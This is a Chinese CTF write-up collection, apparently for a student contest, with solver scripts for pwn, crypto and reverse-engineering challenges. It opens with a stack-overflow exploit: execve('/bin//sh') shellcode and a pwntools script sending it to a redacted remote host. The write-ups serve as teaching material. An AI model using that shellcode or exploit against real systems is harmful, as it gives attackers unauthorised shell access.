这时候往前看,buf的长度是72,而第一个read往buf里面可读入0x51=81个字节,可以构成9字节的溢出
而要知道v7是放在栈上的变量,双击v7可以发现v7(var_8)被放在ebp-0x8的位置,而buf在ebp-0x50,二者紧邻,也就是说把buf填满后接着溢出就可以修改v7(var_8)的值,将其修改为一个足够大的数便能绕过if的第一个条件检测
-0000000000000050 buf db 72 dup(?)
-0000000000000008 var_8 dd ?
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
if的第二个判断是strlen(s)<=0x18,常规的有限长度shellcode。本题没有其他任何限制所以只要长度符合要求都可以使用,以下给出一例:
48 31 f6 ; xor rsi, rsi
56 ; push rsi
48 bf 2f 62 69 6e 2f 2f 73 68 ; movabs rdi, 0x68732f2f6e69622f ("/bin//sh")
57 ; push rdi
54 ; pop rsp
5f ; pop rdi
6a 3b ; push 0x3b
58 ; pop rax
99 ; cdq
0f 05 ; syscall
EXP:
from pwn import *
#p = process('./toolong')
p=remote("XXXXX",XXXXX)
elf = ELF('./shellcode')
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
re = lambda m, t : p.recv(numb=m, timeout=t)
ru = lambda x : p.recvuntil(x)
rl = lambda : p.recvline()
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
ia = lambda : p.interactive()
sla = lambda a, b : p.sendlineafter(a, b)
sa = lambda a, b : p.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
length=100
payload =flat(['a' * 0x48,length])
shellcode ="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
sla("CTF\n",payload)
sl(shellcode)
p.interactive()
Crypto
【新生专属】凯撒子撒子凯视眈眈
出题人:Hisola(正在啃鹿饼)
解出人数:66
新生专属题,以古典密码为背景,意在让新生对 python 脚本有一个初步的接触和认知。
1
2
3
4
5
6
7
8
9
10
def s_hi_ka(text):
offset = 1
enc = ''
for w in text:
if w in string.ascii_letters:
enc += chr(ord(w) + offset)
else:
enc += w
offset *= -1
return enc
分析代码可知,这是一个变种凯撒加密。偏移量在 1 与-1 之间切换。
需要注意的是对于非字母字符偏移量照样会变化。
解一:将原加密函数的 offset 变量改成-1 即得解密脚本,直接扔密文进去就行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import string
def decrypt(text):
offset = -1
enc = ''
for w in text:
if w in string.ascii_letters:
enc += chr(ord(w) + offset)
else:
enc += w
offset *= -1
return enc
enc_flag = "YRDSG{L@J_T@_M0JP_ONLN_MPJ0_L0PNP0_RIH_S@M!_U@O!!!}"
print(decrypt(enc_flag))
解二:由于本题的偏移量过于友好,看懂加密的话手搓也可以简单地还原明文。
【新生专属】看板娘
出题人:HvAng
解出人数:54
题目描述:原来你也……
考点:进制转换
把代码逆回去即可
其实就是进制的转换,十进制转三十七进制,但本题没有逆序输出,所以还得对 secret 做一个逆序处理,最后再转回 bytes 数据类型即可
1
2
3
4
5
6
7
8
_from_ Crypto.Util.number _import_ *
secret = [7, 31, 11, 36, 32, 34, 27, 8, 10, 7, 5, 35, 0, 0, 1, 4, 27, 30, 28, 16, 7, 12, 10, 24, 13,
15, 17, 1, 12, 13, 18, 23, 6, 26, 36, 0, 21, 36, 23, 21, 32, 13, 25, 5, 15, 21, 20, 1, 7, 36, 3]
base = 37
flag = 0
_for_ i _in_ reversed(secret):
flag = flag*base+i
print(long_to_bytes(flag).decode())
【新生专属】gift RSA
出题人:HvAng
解出人数:50
题目描述:出题人给了你一个欧拉大礼包,看你是否真的掌握了 RSA 的解密
考点:欧拉定理验证 RSA 解密
\[e*d=k*\phi(n)+1,根据欧拉定理有,a与n互素,则a^{\phi(n)}\equiv 1(mod\ n),m^{e*d}\equiv c^{d}(mod\ n)\equiv m·m^{k\phi(n)}(mod\ n)\equiv m(mod\ n)\] \[正常情况下,RSA算法加密使用的是公钥e,解密使用的是私钥d\] \[这里对调,所以使用公钥e即可解密\] \[gift\equiv m^{d}(mod\ n)\] \[gift^{e}\equiv m^{e*d}(mod\ n)\equiv m(mod\ n)\]1
2
3
_from_ Crypto.Util.number _import_ *
...
print(long_to_bytes(pow(gift, e, n)).decode())
【新生专属】Baby_xor
出题人:HvAng
解出人数:43
题目描述:你知道异或吗?
考点:简单的异或算法
flag 长度 49,key 长度为 7,正好是倍数关系,可以根据 XSCTF{}
确定异或的密钥
1
2
3
4
5
6
7
8
9
_from_ Crypto.Util.number _import_ *
cipher = b'672:/\x1a\n^\x10.!\x07P\x1d1\x10\x19]6\x12\x10Z\x16\x051+\x14\x101P\x1d[Y>\x10\x06W.]\x07%EOEPOH@\x19'
key = ''
head = b'XSCTF{}'
_for_ i _in_ range(6):
key += chr(cipher[i] ^ head[i])
key += chr(cipher[-1] ^ head[-1])
_for_ i _in_ range(len(cipher)):
print(chr(cipher[i] ^ ord(key[i % 7])), end='')
Leak_RSA
出题人:HvAng
解出人数:10
题目描述:没给我 n 啊,这咋办?
考点:素因子泄露
n 的因子之间相互取模,根据大小关系,小的素因子会被泄露出来
所以这题的设定就是刚好泄露其中一个素因子
甚至可以用 leak.bit_length()看见 leak3 仍是 512 位,所以 r=leak3
在没有 n 的情况下,知道其中一个因子也能求解(这题的解比 ezRSA 少是因为不知道这个吗)
因为$m^{e}=k*n+c$,这里我们知道的是 r,两边同时取模于 r,则$c\equiv m^{e}(mod\ r)$,之后与常规 RSA 解法相同
1
2
3
4
5
6
7
8
9
10
11
12
13
14
_from_ Crypto.Util.number _import_ *
e = 65537
leak1 = 2788739042668918537941781531724930574560005691121074831614857609917360160482700410116314943550387670482209092849226979390003571693127462185448034388680568
leak2 = 1052794395433672774454602395629995702193825831811400985762346901401999360606415037009545828920475617009855752205214042043479772898002629658076401605342018
leak3 = 7178714483870123715329052119057202517870454611331910581547053172963141530711926115642776608592175083777507121192881454193293730845435637902528497680051043
c = 303207585959722091416888808302303902759477684186954246223344979954007378835147589414208072138404930371953334434739192265255311036731277242107515329324189302764042194164008395935037239784625015486597798565328123538179429396419895747859613808210181827498987744262520224633169713938847935438891255378204804566253453898965842923619704512096373657005536406487415372176995820296769776695235744090580931067205646422943522138917478058553286338836261701729201311710741570
leak = [leak1, leak2, leak3]
_for_ i _in_ leak:
_if_ GCD(e, i-1) == 1:
d = inverse(e, i-1)
flag = long_to_bytes(pow(c, d, i))
_if_ b'XSCTF' in flag:
print(flag.decode())
Easy_congruence
出题人:HvAng
解出人数:24
题目描述:在古代的迷雾中,一位以欧之名的智者,留下了神秘的宝藏……
考点:同余方程求解
\[不难看出,c\equiv m*g(mod\ p),这是一个同余方程\] \[同余方程,ax\equiv b\ (mod\ m)\] \[等价,ax+my=b\] \[ax'+my'=gcd(a,m)=d\] \[a/d是整数,m/d也是整数,所以,d|b\] \[(a/d)*x+(m/d)*y=b/d,随着y值变化,x存在d个不同余的解,d个解关于m/d同余\] \[ax'*(b/d)+my'*(b/d)=d*(b/d)=b\] \[可以看到x'*(b/d)是方程的解,但它可能是负数,加个m即可\] \[最终,最小整数解为(在这里m=m/d),(x*(b/d)+m)\%m\]1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
_from_ Crypto.Util.number _import_ *
def exgcd(a, b):
_if_ b == 0:
_return_ 1, 0, a
x, y, q = exgcd(b, a % b)
x, y = y, (x - a // b * y)
_return_ x, y, q
def LiEu(a, b, m):
_# ax = b % m_
x, y, q = exgcd(a, m)
_if_ b % q == 0:
m = m//q
_return_ ((x*b//q + m) % m)
p = 10453494189896814393489082401798067658149446733396819562864863864546212967979882859223572465368952108706223229855398759198028181181112373274325597469810991
g = 9232525983054729206798795323103994881466871254409162769478260108293334381919547345560776320223556367674557075231517532178126540033249822348773494136177921
c = 8886193310067666634125506832267082757853820097857444927164754043468885469055206104670212428406260567513675590416958026784669265723231129616766608308131367
flag = LiEu(g, c, p)
print(long_to_bytes(flag).decode())
当然,此处 GCD(g,p)!=1,可以考虑整除它们的最大公因子,再乘上 g 模 p 下的逆元
1
2
3
4
5
6
7
8
9
10
_from_ Crypto.Util.number _import_ *
p = 10453494189896814393489082401798067658149446733396819562864863864546212967979882859223572465368952108706223229855398759198028181181112373274325597469810991
g = 9232525983054729206798795323103994881466871254409162769478260108293334381919547345560776320223556367674557075231517532178126540033249822348773494136177921
c = 8886193310067666634125506832267082757853820097857444927164754043468885469055206104670212428406260567513675590416958026784669265723231129616766608308131367
a = GCD(g, p)
c //= a
p //= a
g //= a
print(long_to_bytes(c*inverse(g, p) % p).decode())
Do you remember
出题人:HvAng
解出人数:5
题目描述:当数列遇上数论,会碰撞出什么样的火花呢?
考点:数列错位相减法 + 费马小定理 +AES 解密
\[先求s,推导过程中,让人梦回高中数列\] \[为方便书写,以下操作均在Z_{p}^{*}中进行\] \[A=p*s^{p}+(p-1)*s^{p-1}+(p-2)*s^{p-2}+...+3*s^{3}+2*s^{2}+s\] \[熟悉吧,这里我们运用数列的错位相减法\] \[sA=p*s^{p+1}+(p-1)*s^{p}+(p-2)*s^{p-1}+...+3*s^{4}+2*s^{3}+s^{2}\] \[A-sA=-p*s^{p+1}+s^{p}+s^{p-1}+...+s^{2}+s=s^{p}+s^{p-1}+...+s^{2}+s=s*(1-s^{p})/(1-s)\] \[A(1-s)^{2}=s*(1-s^{p})=s-s^{2},费马小定理(s^{p}\equiv s(mod\ p))\] \[s\not =1,A(1-s)=s\] \[s(1+A)=A\] \[s=A*(A+1)^{-1}\]return iv + cipher.encrypt(m)
,注意这段代码,需要把 iv
(前 16 字节)和 ciphertext
给分离出来
最后解 AES
即可得到 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
_from_ Crypto.Util.number _import_ *
_from_ Crypto.Cipher _import_ AES
_from_ hashlib _import_ md5
p = 150047847443555551780607383646778335047016817274774459455572118295420220872760843861826572060713763782515891193340180392530495643801084940512366868263554252383596890003894873239311420889498780869512686734074664111786688233786779976225149167699060122695390892886742071588757965095218555236842615070938584224951
A = 51614072930641858258532588732222609622897694793167241294993244884925210558134005443237467321313043942962515267570552991785563189473033043886024990814406068205757425516773042625353457364709443923481317059018116482598994297758122636917351167174984692517164422735383776677374199361980133930130563590387131095237
iv_cip = long_to_bytes(
0x83fe4228a3f69df5593e024d00478474115c2fed979508756f6cdc4d88d834afd473c22c9585c147513e0d97097a803c15e85b92f4d35651c1721ce623bfc97b)
ciphertext = iv_cip[16:]
iv = iv_cip[:16]
s = inverse(A+1, p)*A % p
key = long_to_bytes(s)
key = md5(key).digest()
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print(cipher.decrypt(ciphertext))
ezRSA
出题人:Stardust
解出人数:16
题目描述:又没给我 n 啊,这咋办?
考点:简单数论
$p^2$和$q^2$有一个是小于 n 的, 所以直接开根就能解, 另一个素数有方程$q^2=q2 + p*q$可解
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *
p2 = 104486154542211217337323582535819394394919589951261285838387377629579205519885768389177326622042785445416025585506363520862196948172341930160493999024788805639842742307204141794109481681374492433699821456432411336052847463762398184646138733744466505822965078231030168451595752292937113240919522306727223700561
q2 = 19569356776016354586689286736811601335558486171881466531271447575186736292994642151207130496404360997089434338355737162305675713855779913910620590580757729781794879857873670236635969241674664830807200885853007768055851538191708939071091943350868498632525074227942922556273875602387026710414404711200841368482
c = 71142853522832152079524161652905868418163727856204330487694029115710027982874691529433815683179071492852170209821924081034770761909207884494692210567154781675899839877332922552160446151975331620265692038126884708764044754578420744830575155249494848724871058307271832981526649540118731289162862706823590119107
p = isqrt(p2)
# q = var('q')
# solve([q^2==q2+p*q],q)
q = 11870427542408904465168486816615240549143800205326929022770788858227570765432404883482021390556628357569312976866863932203802643928801593425844532392597257
n = p*q
phi = (p-1)*(q-1)
e = 65537
d = inverse_mod(e,phi)
m = int(pow(c,d,n))
print(long_to_bytes(m))
guessnumber
出题人:Stardust
解出人数:12
题目描述: 你能猜出中间的数字吗?
考点:LCG
四个连续的 lcg 随机数能获取 m 的倍数, 前后两组可以求最大公因数得到 m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
xs = [...,
...,
...,
...,
0,
...,
...,
...,
...]
ts = [xs[i+1] - xs[i] for i in range(len(xs)-1)]
m = gcd((ts[0]*ts[2]-ts[1]^2),ts[5]*ts[7]-ts[6]^2)
a = (xs[2]-xs[1])*inverse_mod(xs[1]-xs[0],m) % m
b = (xs[1]-a*xs[0]) % m
xs[4] = (xs[3]*a+b) % m
print(xs[4])
babyCurve
出题人:Stardust
解出人数:3
考点:椭圆曲线上的离散对数** **
从题给的加法与乘法可以看出该曲线为 Hessian 曲线, 在 https://www.hyperelliptic.org/EFD/g1p/data/hessian/coordinates 可以找到该曲线的映射函数, 一一抄下来就可以将 Hessian 曲线转为标准曲线.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#sage
from Crypto.Util.number import *
from gmpy2 import *
from hashlib import sha256
def coefficients(d):
'''
a4 = -27 d(d^3+8)
a6 = 54(d^6-20 d^3-8)
'''
a4 = -27 * d * (pow(d, 3, p) + 8) % p
a6 = 54 * (pow(d, 6, p) - 20 * pow(d, 3, p) - 8) % p
return [a4,a6]
def toweierstrass(d,x,y):
'''
toweierstrass u = 12(d^3-1)/(d+x+y)-9 d^2
toweierstrass v = 36(y-x)(d^3-1)/(d+x+y)
'''
u = (12 * (pow(d, 3, p) - 1) * inverse_mod(d+x+y,p) - 9 * pow(d, 2, p)) % p
v = 36 * (y - x) * (pow(d, 3, p) - 1) * inverse_mod(d+x+y,p) % p
return u,v
p = 14774086086310024849
d = 10346898339886066613
G = (12636797399455969005, 4656307018278399363)
P = (6616434244263216394, 6830441955370423062)
a4,a6 = coefficients(d)
E = EllipticCurve(Zmod(p),[a4,a6])
G_ = E(toweierstrass(d,G[0],G[1]))
P_ = E(toweierstrass(d,P[0],P[1]))
k = P_.log(G_)
# k = G_.discrete_log(P_) 低版本用这个
# k = 124652458607932645
flag = 'XSCTF{' + sha256(str(k).encode()).hexdigest() + '}'
print(flag)
Reverse
【新生专属】Let’s go to xor
0x0 题目描述
-
题目名称: Let’s go to xor
-
作者: WAHAHA
-
题目类型: Reverse
-
题目难度: 中等
-
考点
- Go 语言逆向(百度一点点基础内容即可)
- 结构体分析
- xor 加密
- Go 函数堆栈传参与返回值(其实关系不大)
-
hint
- hint1: “xor 加密是什么,如何逆向解密呢?”
- hint2: “这 main 函数怎么这么乱呢?哪些才是题目有关的呢?”
- hint2: “Go 语言中 Slice 的底层实现结构是什么样子的呢?”
- hint3: “知道了 Slice 的底层实现结构后,main 函数中哪个变量看起来最像这样的一个结构体呢”
- hint4: “也许动态调试可以帮大忙”
-
描述: 只是一个超级 Eazzzzzzzzzzy 的 Go 程序,Let’s Go!
-
flag: flag{XSWLHHH_1s_Pwn_M4sTer}
0x1 DIE 分析
没错,就是个 Go 程序。丢 IDA 分析。
0x2 IDA 分析
由于 Go 语言是静态链接编译的,因此函数表会非常庞大,我们只需要从 main 函数开始分析即可:
可以看到导入表中包含了整个程序所有 import 的包,并且每个包中所有的公开函数全部被导入了进来,所以会有成百上千的无关函数。
0x3 main 函数分析
现在来分析 main 函数:
由于 Golang 程序会自动进行内存分配、垃圾回收、堆栈管理、协程调度等操作,因此会有一个 runtime 在底层时刻运行,也就是说 Go 程序会在编译时嵌入大量的 runtime 代码,会对用户代码逻辑分析造成干扰。
包括 main 函数也是一样,其中也被 Go 编译器嵌入了一些底层代码以及变量,我们忽略即可。
先找找有没有输入输出函数,go 中输入输出由 fmt
包提供,通常使用 fmt.Scanf
和 fmt.Printf
这两个函数。可以找到下面的代码:
这里有一个输入,但是参数很复杂(主要是 Go 程序独特的函数调用机制—参数和返回值在调用前同时在一起分配空间),再看有没有输出:
直接盲猜就是 Yes 和 No 的判定,因此猜测 main_decode
函数就是关键。
分析 main_decode 函数
在 main 中发现 main_decode 函数的实参非常复杂,先双击 main_decode 进去 F5 看一下,然后再出来 F5 一下,就可以发现实参清晰多了:
观察可知,main_decode
接受一个 ptr
指针参数以及一个 len
长度参数,直接猜测就是我们输入的字符串即可。现在再来看 main_decode
的逻辑。程序大概的结构如下,对参数输入的字符串进行了循环,并做了某种运算,将运算结果进行比较判定:
下面是实际的代码逻辑:
显然,对输入的 a1
字符串进行循环异或之后,与 main_enc
字符串进行逐个比较。因此 main_enc
就是密文,而 a1
就是明文。
main_enc
密文很简单,双击指针跳转过去即可:
现在找循环异或的 key,显然就是 aFinobjgcGpInNP + 2513
这个指针指向的数组,并且长度就是 10 个字节。 跳转到对应的地址:
可以看到,该死的 (可爱的)Go 语言将几乎所有的常量文本存储在了同一个段中,因此我们将这个超大的常量表提取出来,仅提取 2513 处 10
个字节即可:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>int main() {
unsigned char aFinobjgcGpInNP[] = {
0x2E, 0x2E, 0x2E, 0x66, 0x69, 0x6E, 0x6F, 0x62, 0x6A, 0x67,
0x63, 0x20, 0x25, 0x3A, 0x20, 0x67, 0x70, 0x20, 0x20, 0x2A,
0x28, 0x69, 0x6E, 0x20, 0x20, 0x6E, 0x3D, 0x20, 0x29, 0x0A,
0x20, 0x2D, 0x20, 0x20, 0x20, 0x50, 0x20, 0x6D, 0x3D, 0x20,
0x20, 0x4D, 0x50, 0x43, 0x3D, 0x20, 0x3C, 0x20, 0x65, 0x6E,
_/*后面省略,至少需要提取2523个字节*/_
};
unsigned char *ptr = aFinobjgcGpInNP+2513;
for (int i=0;i<10;i++){
putchar(ptr[i]);
}
return 0;
}
运行可以得到 10 字节的 key: "i_l0ve_CtF"
现在愉快地编写 xor 解密代码即可 😋。
解密代码
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
int main() {
char main_enc[] = {
0x0F, 0x33, 0x0D, 0x57, 0x0D, 0x3D, 0x0C, 0x14, 0x38, 0x0E,
0x21, 0x17, 0x33, 0x01, 0x05, 0x3A, 0x0F, 0x34, 0x1A, 0x19,
0x24, 0x6B, 0x1F, 0x64, 0x13, 0x17, 0x22
};
char key[] = "i_l0ve_CtF";
for (int i = 0;i < sizeof(main_enc) / sizeof(main_enc[0]);i++) {
putchar(main_enc[i]^key[i%10]);
}
return 0;
}
loglistening
是一个安卓程序,用 jadx 打开查看
里面什么都没有,只调用了一次 native 层的函数,所以用 ida 打开查看
里面就调用了一次 md5 对 stardustduststar 进行了加密,md5 魔改了,无法通过在线网站得到解
可以看到__android_log_print,结合题目,只要监听一下即可得到 flag
使用 ddms 或者 androidstudio 应该都可以监听到
picchange
ida 打开后 shift+f12 搜索字符串再 x 交叉引用找到主函数
动调一下试试看
可以看到给出的提示,只要输入的三位数字与 md5 的前三位相等即可,故直接写脚本即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import <u>hashlib</u>
_def_ md5_hash(_number_):
# 将数字转换为字符串并进行 MD5 加密
hash_object = <u>hashlib</u>.md5(<u>str</u>(_number_).encode())
return hash_object.hexdigest()
_def_ check_md5_match():
for number in <u>range</u>(100, 1000): # 遍历所有三位数
hash_value = md5_hash(number)
if hash_value[:3] == <u>str</u>(number)[:3]: # 检查前三位是否相同
print(_f_"Matching number: {number}")
if __name__ == "__main__":
check_md5_match()
再把数字填进去就可以了
【新生专属】guessnumber2
re 签到题,本来以为只能下载到模拟器来着,后来发现手机直接下载也可以
就是简单的猜数字,玩一玩就有了
fish
aspack 工具脱壳。
没有魔改过的 aes,key 对应 xor 回来即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def generate_key(key_list):
for i in range(len(key_list) - 1, 0, -1):
key_list[i] ^= key_list[i - 1]
return bytes(key_list)
def aes_ecb_decrypt(raw_output, key):
cipher = AES.new(key, AES.MODE_ECB)
decrypted = unpad(cipher.decrypt(raw_output), AES.block_size)
return decrypted.decode('utf-8')
key = [49, 66, 29, 116, 7, 88, 43, 26, 42, 94, 54, 105, 2, 103, 30, 63]
aes_key = generate_key(key)
result = [0x2b, 0x8a, 0x86, 0xef, 0xab, 0x14, 0x61, 0x3e,
0x94, 0x0c, 0x86, 0x15, 0x49, 0x09, 0x08, 0xb5,
0x47, 0x2c, 0xb9, 0xa7, 0xbb, 0xd4, 0x39, 0x86,
0xaf, 0x82, 0xcb, 0x22, 0x90, 0x51, 0x79, 0x69,
0x95, 0xf3, 0xaa, 0x0d, 0x0d, 0xbc, 0xbd, 0x2f,
0x35, 0x7b, 0xa1, 0x45, 0xa9, 0x60, 0xe6, 0xa0]
raw_output = bytes(result)
decrypted_message = aes_ecb_decrypt(raw_output, aes_key)
print("flag:", decrypted_message)
Running~
出题人:Hur1k
解出人数:11
考点:跑就完事了
打开可以看见是混淆过后的 js 代码,用 node 跑一下或者写个 html 加载就行(
怎么才 11 个解出 😡 不应该阿 😡😡😡
Ro1ling~
出题人:Hur1k
解出人数:13
考点:
- Python 解包
- 盯真
虽说不能一眼看出来是 python 打包的(下面的是默认不指定 icon 的图标),但是打开 ida 也可以看到一些蛛丝马迹~
所以直接用 pyinstxtractor 进行解包,得到 Ro1ling.pyc,再对 pyc 进行反编译(晚上找工具或者用 pycdc 都行),最终还原出来源码就可以 getflag 了